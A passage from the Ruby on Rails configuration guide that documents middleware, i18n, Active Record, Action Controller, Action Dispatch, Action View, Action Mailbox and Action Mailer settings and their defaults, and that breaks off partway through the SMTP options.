    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

3.5.2 ActionDispatch::SSL

Forces every request to be served using HTTPS. Enabled if config.force_ssl is set to true. Options passed to this can be configured by setting config.ssl_options.

3.5.3 ActionDispatch::Static

Is used to serve static assets. Disabled if config.public_file_server.enabled is false. Set config.public_file_server.index_name if you need to serve a static directory index file that is not named index. For example, to serve main.html instead of index.html for directory requests, set config.public_file_server.index_name to "main".

3.5.4 ActionDispatch::Executor

Allows thread safe code reloading. Disabled if config.allow_concurrency is false, which causes Rack::Lock to be loaded. Rack::Lock wraps the app in mutex so it can only be called by a single thread at a time.

3.5.5 ActiveSupport::Cache::Strategy::LocalCache

Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.

3.5.6 Rack::Runtime

Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.

3.5.7 Rails::Rack::Logger

Notifies the logs that the request has begun. After request is complete, flushes all the logs.

3.5.8 ActionDispatch::ShowExceptions

Rescues any exception returned by the application and renders nice exception pages if the request is local or if config.consider_all_requests_local is set to true. If config.action_dispatch.show_exceptions is set to false, exceptions will be raised regardless.

3.5.9 ActionDispatch::RequestId

Makes a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method. Configurable with config.action_dispatch.request_id_header.

3.5.10 ActionDispatch::RemoteIp

Checks for IP spoofing attacks and gets valid client_ip from request headers. Configurable with the config.action_dispatch.ip_spoofing_check, and config.action_dispatch.trusted_proxies options.

3.5.11 Rack::Sendfile

Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with config.action_dispatch.x_sendfile_header.

3.5.12 ActionDispatch::Callbacks

Runs the prepare callbacks before serving the request.

3.5.13 ActionDispatch::Cookies

Sets cookies for the request.

3.5.14 ActionDispatch::Session::CookieStore

Is responsible for storing the session in cookies. An alternate middleware can be used for this by changing config.session_store.

3.5.15 ActionDispatch::Flash

Sets up the flash keys. Only available if config.session_store is set to a value.

3.5.16 Rack::MethodOverride

Allows the method to be overridden if params[:_method] is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.

3.5.17 Rack::Head

Converts HEAD requests to GET requests and serves them as so.

3.5.18 Adding Custom Middleware

Besides these usual middleware, you can add your own by using the config.middleware.use method:

  config.middleware.use Magical::Unicorns

This will put the Magical::Unicorns middleware on the end of the stack. You can use insert_before if you wish to add a middleware before another.

  config.middleware.insert_before Rack::Head, Magical::Unicorns

Or you can insert a middleware to exact position by using indexes. For example, if you want to insert Magical::Unicorns middleware on top of the stack, you can do it, like so:

  config.middleware.insert_before 0, Magical::Unicorns

There's also insert_after which will insert a middleware after another:

  config.middleware.insert_after Rack::Head, Magical::Unicorns

Middlewares can also be completely swapped out and replaced with others:

  config.middleware.swap ActionController::Failsafe, Lifo::Failsafe

Middlewares can be moved from one place to another:

  config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns

This will move the Magical::Unicorns middleware before ActionDispatch::Flash. You can also move it after:

  config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns

They can also be removed from the stack completely:

  config.middleware.delete Rack::MethodOverride

3.6 Configuring i18n

All these configuration options are delegated to the I18n library.

3.6.1 config.i18n.available_locales

Defines the permitted available locales for the app. Defaults to all locale keys found in locale files, usually only :en on a new application.

3.6.2 config.i18n.default_locale

Sets the default locale of an application used for i18n. Defaults to :en.

3.6.3 config.i18n.enforce_available_locales

Ensures that all locales passed through i18n must be declared in the available_locales list, raising an I18n::InvalidLocale exception when setting an unavailable locale. Defaults to true. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.

3.6.4 config.i18n.load_path

Sets the path Rails uses to look for locale files. Defaults to config/locales/**/*.{yml,rb}.

3.6.5 config.i18n.raise_on_missing_translations

Determines whether an error should be raised for missing translations in controllers and views. This defaults to false.

3.6.6 config.i18n.fallbacks

Sets fallback behavior for missing translations. Here are 3 usage examples for this option:

You can set the option to true for using default locale as fallback, like so:

config.i18n.fallbacks = true

Or you can set an array of locales as fallback, like so:

config.i18n.fallbacks = [:tr, :en]

Or you can set different fallbacks for locales individually. For example, if you want to use :tr for :az and :de, :en for :da as fallbacks, you can do it, like so:

config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
#or
config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }

3.7 Configuring Active Model

3.7.1 config.active_model.i18n_customize_full_message

Controls whether the Error#full_message format can be overridden in an i18n locale file. Defaults to false.

When set to true, full_message will look for a format at the attribute and model level of the locale files. The default format is "%{attribute} %{message}", where attribute is the name of the attribute, and message is the validation-specific message. The following example overrides the format for all Person attributes, as well as the format for a specific Person attribute (age).

  class Person
  include ActiveModel::Validations

  attr_accessor :name, :age

  validates :name, :age, presence: true
end

  en:
  activemodel: # or activerecord:
    errors:
      models:
        person:
          # Override the format for all Person attributes:
          format: "Invalid %{attribute} (%{message})"
          attributes:
            age:
              # Override the format for the age attribute:
              format: "%{message}"
              blank: "Please fill in your %{attribute}"

  irb> person = Person.new.tap(&:valid?)

irb> person.errors.full_messages
=> [
  "Invalid Name (can't be blank)",
  "Please fill in your Age"
]

irb> person.errors.messages
=> {
  :name => ["can't be blank"],
  :age  => ["Please fill in your Age"]
}

3.8 Configuring Active Record

config.active_record includes a variety of configuration options:

3.8.1 config.active_record.logger

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling logger on either an Active Record model class or an Active Record model instance. Set to nil to disable logging.

3.8.2 config.active_record.primary_key_prefix_type

Lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named id (and this configuration option doesn't need to be set). There are two other choices:

:table_name would make the primary key for the Customer class customerid.

:table_name_with_underscore would make the primary key for the Customer class customer_id.

3.8.3 config.active_record.table_name_prefix

Lets you set a global string to be prepended to table names. If you set this to northwest_, then the Customer class will look for northwest_customers as its table. The default is an empty string.

3.8.4 config.active_record.table_name_suffix

Lets you set a global string to be appended to table names. If you set this to _northwest, then the Customer class will look for customers_northwest as its table. The default is an empty string.

3.8.5 config.active_record.schema_migrations_table_name

Lets you set a string to be used as the name of the schema migrations table.

3.8.6 config.active_record.internal_metadata_table_name

Lets you set a string to be used as the name of the internal metadata table.

3.8.7 config.active_record.protected_environments

Lets you set an array of names of environments where destructive actions should be prohibited.

3.8.8 config.active_record.pluralize_table_names

Specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the customers table. If set to false, then the Customer class will use the customer table.

3.8.9 config.active_record.default_timezone

Determines whether to use Time.local (if set to :local) or Time.utc (if set to :utc) when pulling dates and times from the database. The default is :utc.

3.8.10 config.active_record.schema_format

Controls the format for dumping the database schema to a file. The options are :ruby (the default) for a database-independent version that depends on migrations, or :sql for a set of (potentially database-dependent) SQL statements.

3.8.11 config.active_record.error_on_ignored_order

Specifies if an error should be raised if the order of a query is ignored during a batch query. The options are true (raise error) or false (warn). Default is false.

3.8.12 config.active_record.timestamped_migrations

Controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.

3.8.13 config.active_record.lock_optimistically

Controls whether Active Record will use optimistic locking and is true by default.

3.8.14 config.active_record.cache_timestamp_format

Controls the format of the timestamp value in the cache key. Default is :usec.

3.8.15 config.active_record.record_timestamps

Is a boolean value which controls whether or not timestamping of create and update operations on a model occur. The default value is true.

3.8.16 config.active_record.partial_inserts

Is a boolean value and controls whether or not partial writes are used when creating new records (i.e. whether inserts only set attributes that are different from the default).

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | true
7.0 | false

3.8.17 config.active_record.partial_updates

Is a boolean value and controls whether or not partial writes are used when updating existing records (i.e. whether updates only set attributes that are dirty). Note that when using partial updates, you should also use optimistic locking config.active_record.lock_optimistically since concurrent updates may write attributes based on a possibly stale read state. The default value is true.

3.8.18 config.active_record.maintain_test_schema

Is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with db/schema.rb (or db/structure.sql) when you run your tests. The default is true.

3.8.19 config.active_record.dump_schema_after_migration

Is a flag which controls whether or not schema dump should happen (db/schema.rb or db/structure.sql) when you run migrations. This is set to false in config/environments/production.rb which is generated by Rails. The default value is true if this configuration is not set.

3.8.20 config.active_record.dump_schemas

Controls which database schemas will be dumped when calling db:schema:dump. The options are :schema_search_path (the default) which dumps any schemas listed in schema_search_path, :all which always dumps all schemas regardless of the schema_search_path, or a string of comma separated schemas.

3.8.21 config.active_record.belongs_to_required_by_default

Is a boolean value and controls whether a record fails validation if belongs_to association is not present.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | nil
5.0 | true

3.8.22 config.active_record.action_on_strict_loading_violation

Enables raising or logging an exception if strict_loading is set on an association. The default value is :raise in all environments. It can be changed to :log to send violations to the logger instead of raising.

3.8.23 config.active_record.strict_loading_by_default

Is a boolean value that either enables or disables strict_loading mode by default. Defaults to false.

3.8.24 config.active_record.warn_on_records_fetched_greater_than

Allows setting a warning threshold for query result size. If the number of records returned by a query exceeds the threshold, a warning is logged. This can be used to identify queries which might be causing a memory bloat.

3.8.25 config.active_record.index_nested_attribute_errors

Allows errors for nested has_many relationships to be displayed with an index as well as the error. Defaults to false.

3.8.26 config.active_record.use_schema_cache_dump

Enables users to get schema cache information from db/schema_cache.yml (generated by bin/rails db:schema:cache:dump), instead of having to send a query to the database to get this information. Defaults to true.

3.8.27 config.active_record.cache_versioning

Indicates whether to use a stable #cache_key method that is accompanied by a changing version in the #cache_version method.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.2 | true

3.8.28 config.active_record.collection_cache_versioning

Enables the same cache key to be reused when the object being cached of type ActiveRecord::Relation changes by moving the volatile information (max updated at and count) of the relation's cache key into the cache version to support recycling cache key.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.0 | true

3.8.29 config.active_record.has_many_inversing

Enables setting the inverse record when traversing belongs_to to has_many associations.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.1 | true

3.8.30 config.active_record.automatic_scope_inversing

Enables automatically inferring the inverse_of for associations with a scope.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.8.31 config.active_record.legacy_connection_handling

Allows to enable new connection handling API. For applications using multiple databases, this new API provides support for granular connection swapping.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | true
6.1 | false

3.8.32 config.active_record.destroy_association_async_job

Allows specifying the job that will be used to destroy the associated records in background. It defaults to ActiveRecord::DestroyAssociationAsyncJob.

3.8.33 config.active_record.queues.destroy

Allows specifying the Active Job queue to use for destroy jobs. When this option is nil, purge jobs are sent to the default Active Job queue (see config.active_job.default_queue_name). It defaults to nil.

3.8.34 config.active_record.enumerate_columns_in_select_statements

When true, will always include column names in SELECT statements, and avoid wildcard SELECT * FROM ... queries. This avoids prepared statement cache errors when adding columns to a PostgreSQL database for example. Defaults to false.

3.8.35 config.active_record.verify_foreign_keys_for_fixtures

Ensures all foreign key constraints are valid after fixtures are loaded in tests. Supported by PostgreSQL and SQLite only.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.8.36 config.active_record.query_log_tags_enabled

Specifies whether or not to enable adapter-level query comments. Defaults to false.

3.8.37 config.active_record.query_log_tags

Define an Array specifying the key/value tags to be inserted in an SQL comment. Defaults to [ :application ], a predefined tag returning the application name.

3.8.38 config.active_record.cache_query_log_tags

Specifies whether or not to enable caching of query log tags. For applications that have a large number of queries, caching query log tags can provide a performance benefit when the context does not change during the lifetime of the request or job execution. Defaults to false.

3.8.39 config.active_record.schema_cache_ignored_tables

Define the list of table that should be ignored when generating the schema cache. It accepts an Array of strings, representing the table names, or regular expressions.

3.8.40 config.active_record.verbose_query_logs

Specifies if source locations of methods that call database queries should be logged below relevant queries. By default, the flag is true in development and false in all other environments.

3.8.41 config.active_record.async_query_executor

Specifies how asynchronous queries are pooled.

It defaults to nil, which means load_async is disabled and instead directly executes queries in the foreground. For queries to actually be performed asynchronously, it must be set to either :global_thread_pool or :multi_thread_pool.

:global_thread_pool will use a single pool for all databases the application connects to. This is the preferred configuration for applications with only a single database, or applications which only ever query one database shard at a time.

:multi_thread_pool will use one pool per database, and each pool size can be configured individually in database.yml through the max_threads and min_thread properties. This can be useful to applications regularly querying multiple databases at a time, and that need to more precisely define the max concurrency.

3.8.42 config.active_record.global_executor_concurrency

Used in conjunction with config.active_record.async_query_executor = :global_thread_pool, defines how many asynchronous queries can be executed concurrently.

Defaults to 4.

This number must be considered in accordance with the database pool size configured in database.yml. The connection pool should be large enough to accommodate both the foreground threads (.e.g web server or job worker threads) and background threads.

3.8.43 config.active_record.yaml_column_permitted_classes

Defaults to [Symbol]. Allows applications to include additional permitted classes to safe_load() on the ActiveRecord::Coders::YAMLColumn.

3.8.44 config.active_record.use_yaml_unsafe_load

Defaults to false. Allows applications to opt into using unsafe_load on the ActiveRecord::Coders::YAMLColumn.

3.8.45 config.active_record.raise_int_wider_than_64bit

Defaults to true. Determines whether to raise an exception or not when the PostgreSQL adapter is provided an integer that is wider than signed 64bit representation.

3.8.46 ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans

Controls whether the Active Record MySQL adapter will consider all tinyint(1) columns as booleans. Defaults to true.

3.8.47 ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables

Controls whether database tables created by PostgreSQL should be "unlogged", which can speed up performance but adds a risk of data loss if the database crashes. It is highly recommended that you do not enable this in a production environment. Defaults to false in all environments.

3.8.48 ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type

Controls what native type the Active Record PostgreSQL adapter should use when you call datetime in a migration or schema. It takes a symbol which must correspond to one of the configured NATIVE_DATABASE_TYPES. The default is :timestamp, meaning t.datetime in a migration will create a "timestamp without time zone" column. To use "timestamp with time zone", change this to :timestamptz in an initializer. You should run bin/rails db:migrate to rebuild your schema.rb if you change this.

3.8.49 ActiveRecord::SchemaDumper.ignore_tables

Accepts an array of tables that should not be included in any generated schema file.

3.8.50 ActiveRecord::SchemaDumper.fk_ignore_pattern

Allows setting a different regular expression that will be used to decide whether a foreign key's name should be dumped to db/schema.rb or not. By default, foreign key names starting with fk_rails_ are not exported to the database schema dump. Defaults to /^fk_rails_[0-9a-f]{10}$/.

3.9 Configuring Action Controller

config.action_controller includes a number of configuration settings:

3.9.1 config.action_controller.asset_host

Sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Mailer, otherwise use config.asset_host.

3.9.2 config.action_controller.perform_caching

Configures whether the application should perform the caching features provided by the Action Controller component or not. Set to false in the development environment, true in production. If it's not specified, the default will be true.

3.9.3 config.action_controller.default_static_extension

Configures the extension used for cached pages. Defaults to .html.

3.9.4 config.action_controller.include_all_helpers

Configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to false, UsersHelper methods are only available for views rendered as part of UsersController. If true, UsersHelper methods are available everywhere. The default configuration behavior (when this option is not explicitly set to true or false) is that all view helpers are available to each controller.

3.9.5 config.action_controller.logger

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.

3.9.6 config.action_controller.request_forgery_protection_token

Sets the token parameter name for RequestForgery. Calling protect_from_forgery sets it to :authenticity_token by default.

3.9.7 config.action_controller.allow_forgery_protection

Enables or disables CSRF protection. By default this is false in the test environment and true in all other environments.

3.9.8 config.action_controller.forgery_protection_origin_check

Configures whether the HTTP Origin header should be checked against the site's origin as an additional CSRF defense.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.0 | true

3.9.9 config.action_controller.per_form_csrf_tokens

Configures whether CSRF tokens are only valid for the method/action they were generated for.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.0 | true

3.9.10 config.action_controller.default_protect_from_forgery

Determines whether forgery protection is added on ActionController::Base.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.2 | true

3.9.11 config.action_controller.urlsafe_csrf_tokens

Configures whether generated CSRF tokens are URL-safe.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.1 | true

3.9.12 config.action_controller.relative_url_root

Can be used to tell Rails that you are deploying to a subdirectory. The default is ENV['RAILS_RELATIVE_URL_ROOT'].

3.9.13 config.action_controller.permit_all_parameters

Sets all the parameters for mass assignment to be permitted by default. The default value is false.

3.9.14 config.action_controller.action_on_unpermitted_parameters

Controls behavior when parameters that are not explicitly permitted are found. The default value is :log in test and development environments, false otherwise. The values can be:

false to take no action

:log to emit an ActiveSupport::Notifications.instrument event on the unpermitted_parameters.action_controller topic and log at the DEBUG level

:raise to raise a ActionController::UnpermittedParameters exception

3.9.15 config.action_controller.always_permitted_parameters

Sets a list of permitted parameters that are permitted by default. The default values are ['controller', 'action'].

3.9.16 config.action_controller.enable_fragment_cache_logging

Determines whether to log fragment cache reads and writes in verbose format as follows:

  Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
Rendered messages/_message.html.erb in 1.2 ms [cache hit]
Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]

By default it is set to false which results in following output:

  Rendered messages/_message.html.erb in 1.2 ms [cache hit]
Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]

3.9.17 config.action_controller.raise_on_open_redirects

Raises an ArgumentError when an unpermitted open redirect occurs.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.9.18 config.action_controller.log_query_tags_around_actions

Determines whether controller context for query tags will be automatically updated via an around_filter. The default value is true.

3.9.19 config.action_controller.wrap_parameters_by_default

Configures the ParamsWrapper to wrap json request by default.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.9.20 ActionController::Base.wrap_parameters

Configures the ParamsWrapper. This can be called at the top level, or on individual controllers.

3.10 Configuring Action Dispatch

3.10.1 config.action_dispatch.cookies_serializer

Specifies which serializer to use for cookies. For more information, see Action Controller Cookies.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | :marshal
7.0 | :json

3.10.2 config.action_dispatch.default_headers

Is a hash with HTTP headers that are set by default in each response.

The default value depends on the config.load_defaults target version:

Starting with version
The default value is

(original)

{
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "1; mode=block",
  "X-Content-Type-Options" => "nosniff",
  "X-Download-Options" => "noopen",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}

7.0

{
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0",
  "X-Content-Type-Options" => "nosniff",
  "X-Download-Options" => "noopen",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}

3.10.3 config.action_dispatch.default_charset

Specifies the default character set for all renders. Defaults to nil.

3.10.4 config.action_dispatch.tld_length

Sets the TLD (top-level domain) length for the application. Defaults to 1.

3.10.5 config.action_dispatch.ignore_accept_header

Is used to determine whether to ignore accept headers from a request. Defaults to false.

3.10.6 config.action_dispatch.x_sendfile_header

Specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache.

3.10.7 config.action_dispatch.http_auth_salt

Sets the HTTP Auth salt value. Defaults to 'http authentication'.

3.10.8 config.action_dispatch.signed_cookie_salt

Sets the signed cookies salt value. Defaults to 'signed cookie'.

3.10.9 config.action_dispatch.encrypted_cookie_salt

Sets the encrypted cookies salt value. Defaults to 'encrypted cookie'.

3.10.10 config.action_dispatch.encrypted_signed_cookie_salt

Sets the signed encrypted cookies salt value. Defaults to 'signed encrypted cookie'.

3.10.11 config.action_dispatch.authenticated_encrypted_cookie_salt

Sets the authenticated encrypted cookie salt. Defaults to 'authenticated encrypted cookie'.

3.10.12 config.action_dispatch.encrypted_cookie_cipher

Sets the cipher to be used for encrypted cookies. This defaults to "aes-256-gcm".

3.10.13 config.action_dispatch.signed_cookie_digest

Sets the digest to be used for signed cookies. This defaults to "SHA1".

3.10.14 config.action_dispatch.cookies_rotations

Allows rotating secrets, ciphers, and digests for encrypted and signed cookies.

3.10.15 config.action_dispatch.use_authenticated_cookie_encryption

Controls whether signed and encrypted cookies use the AES-256-GCM cipher or the older AES-256-CBC cipher.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.2 | true

3.10.16 config.action_dispatch.use_cookies_with_metadata

Enables writing cookies with the purpose metadata embedded.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
6.0 | true

3.10.17 config.action_dispatch.perform_deep_munge

Configures whether deep_munge method should be performed on the parameters. See Security Guide for more information. It defaults to true.

3.10.18 config.action_dispatch.rescue_responses

Configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:

  config.action_dispatch.rescue_responses = {
  'ActionController::RoutingError'
    => :not_found,
  'AbstractController::ActionNotFound'
    => :not_found,
  'ActionController::MethodNotAllowed'
    => :method_not_allowed,
  'ActionController::UnknownHttpMethod'
    => :method_not_allowed,
  'ActionController::NotImplemented'
    => :not_implemented,
  'ActionController::UnknownFormat'
    => :not_acceptable,
  'ActionController::InvalidAuthenticityToken'
    => :unprocessable_entity,
  'ActionController::InvalidCrossOriginRequest'
    => :unprocessable_entity,
  'ActionDispatch::Http::Parameters::ParseError'
    => :bad_request,
  'ActionController::BadRequest'
    => :bad_request,
  'ActionController::ParameterMissing'
    => :bad_request,
  'Rack::QueryParser::ParameterTypeError'
    => :bad_request,
  'Rack::QueryParser::InvalidParameterError'
    => :bad_request,
  'ActiveRecord::RecordNotFound'
    => :not_found,
  'ActiveRecord::StaleObjectError'
    => :conflict,
  'ActiveRecord::RecordInvalid'
    => :unprocessable_entity,
  'ActiveRecord::RecordNotSaved'
    => :unprocessable_entity
}

Any exceptions that are not configured will be mapped to 500 Internal Server Error.

3.10.19 config.action_dispatch.return_only_request_media_type_on_content_type

Change the return value of ActionDispatch::Request#content_type to the Content-Type header without modification.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | true
7.0 | false

3.10.20 config.action_dispatch.cookies_same_site_protection

Configures the default value of the SameSite attribute when setting cookies. When set to nil, the SameSite attribute is not added. To allow the value of the SameSite attribute to be configured dynamically based on the request, a proc may be specified. For example:

  config.action_dispatch.cookies_same_site_protection = ->(request) do
  :strict unless request.user_agent == "TestAgent"
end

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | nil
6.1 | :lax

3.10.21 config.action_dispatch.ssl_default_redirect_status

Configures the default HTTP status code used when redirecting non-GET/HEAD requests from HTTP to HTTPS in the ActionDispatch::SSL middleware.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | 307
6.1 | 308

3.10.22 config.action_dispatch.log_rescued_responses

Enables logging those unhandled exceptions configured in rescue_responses. It defaults to true.

3.10.23 ActionDispatch::Callbacks.before

Takes a block of code to run before the request.

3.10.24 ActionDispatch::Callbacks.after

Takes a block of code to run after the request.

3.11 Configuring Action View

config.action_view includes a small number of configuration settings:

3.11.1 config.action_view.cache_template_loading

Controls whether or not templates should be reloaded on each request. Defaults to whatever is set for config.cache_classes.

3.11.2 config.action_view.field_error_proc

Provides an HTML generator for displaying errors that come from Active Model. The block is evaluated within the context of an Action View template. The default is

  Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_errors" }

3.11.3 config.action_view.default_form_builder

Tells Rails which form builder to use by default. The default is ActionView::Helpers::FormBuilder. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a String.

3.11.4 config.action_view.logger

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to nil to disable logging.

3.11.5 config.action_view.erb_trim_mode

Gives the trim mode to be used by ERB. It defaults to '-', which turns on trimming of tail spaces and newline when using <%= -%> or <%= =%>. See the Erubis documentation for more information.

3.11.6 config.action_view.frozen_string_literal

Compiles the ERB template with the # frozen_string_literal: true magic comment, making all string literals frozen and saving allocations. Set to true to enable it for all views.

3.11.7 config.action_view.embed_authenticity_token_in_remote_forms

Allows you to set the default behavior for authenticity_token in forms with remote: true. By default it's set to false, which means that remote forms will not include authenticity_token, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the meta tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass authenticity_token: true as a form option or set this config setting to true.

3.11.8 config.action_view.prefix_partial_path_with_controller_namespace

Determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named Admin::ArticlesController which renders this template:

  <%= render @article %>

The default setting is true, which uses the partial at /admin/articles/_article.erb. Setting the value to false would render /articles/_article.erb, which is the same behavior as rendering from a non-namespaced controller such as ArticlesController.

3.11.9 config.action_view.automatically_disable_submit_tag

Determines whether submit_tag should automatically disable on click, this defaults to true.

3.11.10 config.action_view.debug_missing_translation

Determines whether to wrap the missing translations key in a <span> tag or not. This defaults to true.

3.11.11 config.action_view.form_with_generates_remote_forms

Determines whether form_with generates remote forms or not.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
5.1 | true
6.1 | false

3.11.12 config.action_view.form_with_generates_ids

Determines whether form_with generates ids on inputs.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
5.2 | true

3.11.13 config.action_view.default_enforce_utf8

Determines whether forms are generated with a hidden tag that forces older versions of Internet Explorer to submit forms encoded in UTF-8.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | true
6.0 | false

3.11.14 config.action_view.image_loading

Specifies a default value for the loading attribute of <img> tags rendered by the image_tag helper. For example, when set to "lazy", <img> tags rendered by image_tag will include loading="lazy", which instructs the browser to wait until an image is near the viewport to load it. (This value can still be overridden per image by passing e.g. loading: "eager" to image_tag.) Defaults to nil.

3.11.15 config.action_view.image_decoding

Specifies a default value for the decoding attribute of <img> tags rendered by the image_tag helper. Defaults to nil.

3.11.16 config.action_view.annotate_rendered_view_with_filenames

Determines whether to annotate rendered view with template file names. This defaults to false.

3.11.17 config.action_view.preload_links_header

Determines whether javascript_include_tag and stylesheet_link_tag will generate a Link header that preload assets.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | nil
6.1 | true

3.11.18 config.action_view.button_to_generates_button_tag

Determines whether button_to will render <button> element, regardless of whether or not the content is passed as the first argument or as a block.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | false
7.0 | true

3.11.19 config.action_view.apply_stylesheet_media_default

Determines whether stylesheet_link_tag will render screen as the default value for the attribute media when it's not provided.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | true
7.0 | false

3.12 Configuring Action Mailbox

config.action_mailbox provides the following configuration options:

3.12.1 config.action_mailbox.logger

Contains the logger used by Action Mailbox. It accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. The default is Rails.logger.

  config.action_mailbox.logger = ActiveSupport::Logger.new(STDOUT)

3.12.2 config.action_mailbox.incinerate_after

Accepts an ActiveSupport::Duration indicating how long after processing ActionMailbox::InboundEmail records should be destroyed. It defaults to 30.days.

  # Incinerate inbound emails 14 days after processing.
config.action_mailbox.incinerate_after = 14.days

3.12.3 config.action_mailbox.queues.incineration

Accepts a symbol indicating the Active Job queue to use for incineration jobs. When this option is nil, incineration jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | :action_mailbox_incineration
6.1 | nil

3.12.4 config.action_mailbox.queues.routing

Accepts a symbol indicating the Active Job queue to use for routing jobs. When this option is nil, routing jobs are sent to the default Active Job queue (see config.active_job.default_queue_name).

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | :action_mailbox_routing
6.1 | nil

3.12.5 config.action_mailbox.storage_service

Accepts a symbol indicating the Active Storage service to use for uploading emails. When this option is nil, emails are uploaded to the default Active Storage service (see config.active_storage.service).

3.13 Configuring Action Mailer

There are a number of settings available on config.action_mailer:

3.13.1 config.action_mailer.asset_host

Sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Controller, otherwise use config.asset_host.

3.13.2 config.action_mailer.logger

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.

3.13.3 config.action_mailer.smtp_settings

Allows detailed configuration for the :smtp delivery method. It accepts a hash of options, which can include any of these options:

:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.

:port - On the off chance that your mail server doesn't run on port 25, you can change it.

:domain - If you need to specify a HELO domain, you can do it here.

:user_name - If your mail server requires authentication, set the username in this setting.

:password - If your mail server requires authentication, set the password in this setting.

:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.

:enable_starttls - Use STARTTLS when connecting to your SMTP server and fail if unsupported. It defaults to false.

:enable_starttls_auto - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to true.

:openssl_verify_mode - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, :none or :peer -- or the constant directly OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER, respectively.

:ssl/:tls - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection).

:open_timeout - Number of seconds to wait while attempting to open a connection.

:read_timeout - Number of seconds to wait until timing-out a read(2) call.

